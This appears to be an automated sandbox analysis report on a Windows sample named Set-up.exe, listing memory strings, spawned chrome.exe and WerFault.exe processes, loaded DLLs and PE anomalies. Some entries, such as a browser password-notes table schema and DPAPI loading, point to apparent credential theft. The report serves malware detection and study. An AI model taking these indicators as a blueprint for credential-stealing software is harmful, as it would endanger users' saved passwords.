Source: Set-up.exe, 00000000.00000002.1544669791.00000000042E2000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1417968546.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1544669791.00000000042ED000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.1544669791.00000000042D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.1409641222.00000243933EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Set-up.exe	String found in binary or memory: 250-STARTTLS
Source: Set-up.exe	String found in binary or memory: <html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: Set-up.exe	String found in binary or memory: n<html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: Set-up.exe	String found in binary or memory: NATS-SEFI-ADD
Source: Set-up.exe	String found in binary or memory: NATS-DANO-ADD
Source: Set-up.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: Set-up.exe	String found in binary or memory: jp-ocr-b-add
Source: Set-up.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: Set-up.exe	String found in binary or memory: jp-ocr-hand-add
Source: Set-up.exe	String found in binary or memory: ISO_6937-2-add

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 144
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7260 -s 92
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3888 -s 144
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3888 -s 92
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1692 -s 140
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1692 -s 92
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: Set-up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-up.exe

Static file information: File size 25181696 > 1048576

Source: Set-up.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x102e800
Source: Set-up.exe	Static PE information: Raw size of .reloc is bigger than: 0x100000 < 0x18ca00
Source: Set-up.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x5e3200

Source: Set-up.exe	Static PE information: More than 200 imports for user32.dll
Source: Set-up.exe	Static PE information: More than 200 imports for kernel32.dll

Source: Set-up.exe

Static PE information: section name: .didata

Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
